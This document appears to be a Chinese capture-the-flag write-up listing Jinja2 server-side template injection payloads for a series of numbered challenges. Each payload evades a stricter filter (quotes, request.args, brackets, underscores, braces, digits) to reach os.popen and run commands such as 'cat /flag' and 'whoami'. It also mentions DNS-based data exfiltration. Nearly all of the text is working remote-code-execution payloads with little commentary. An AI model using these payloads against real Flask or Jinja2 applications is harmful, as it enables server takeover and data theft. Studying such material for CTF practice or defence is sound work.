361 362
1 | {{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }} |
363
过滤引号
1 | {{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag |
364
args又被过滤
1 | ?name={{config.__class__.__init__.__globals__[request.cookies.os].popen(request.cookies.command).read()}} |
365
[]被过滤
1 | /?name={{config.__class__.__init__.__globals__.get(request.cookies.os).popen(request.cookies.command).read()}} |
366 367
_ 又被过滤
1 | {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(191)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}} |
191这个位置是用burp爆破出来的
368
{{被过滤1 | {%print(()|attr(request.cookies.class)|attr(request.cookies.base)|attr(request.cookies.subclasses)()|attr(request.cookies.getitem)(191)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%} |
369
过滤有点多,过滤了: _ [] ' " {{ request args os参考y1ng师傅https://www.gem-love.com/ctf/2598.html这个构造字符的技巧
另一种思路是利用内置类找到chr
payload:
1 | {% set xhx = (({ }|select()|string()|list()).pop(24)|string())%} |
370
过滤加上数字.可以利用过滤器构造
写了个脚本来构造:
1 | import requests |
payload:
1 | {%set%20one=(a,)|wordcount%}{%set%20zero=one-one%}{%set%20two=(a,a)|wordcount%}{%set%20three=(a,a,a)|wordcount%}{%set%20four=(a,a,a,a)|wordcount%}{%set%20five=(a,a,a,a,a)|wordcount%}{%set%20six=(a,a,a,a,a,a)|wordcount%}{%set%20seven=(a,a,a,a,a,a,a)|wordcount%}{%set%20eight=(a,a,a,a,a,a,a,a)|wordcount%}{%set%20nine=(a,a,a,a,a,a,a,a,a)|wordcount%} |
或者 下面这个
1 | {%set%20one=(a,)|wordcount%}{%set%20zero=one-one%}{%set%20two=(a,a)|wordcount%}{%set%20three=(a,a,a)|wordcount%}{%set%20four=(a,a,a,a)|wordcount%}{%set%20five=(a,a,a,a,a)|wordcount%}{%set%20six=(a,a,a,a,a,a)|wordcount%}{%set%20seven=(a,a,a,a,a,a,a)|wordcount%}{%set%20eight=(a,a,a,a,a,a,a,a)|wordcount%}{%set%20nine=(a,a,a,a,a,a,a,a,a)|wordcount%} |
371
折腾了好久,最后用dns外带数据
1 | {%set%20B=(a,)|wordcount%} |
转换脚本:
1 | def getNum(x): |
372
又过滤了count ,用length过滤器拼凑数字
payload:
1 | {%set B=(a,)|length%} |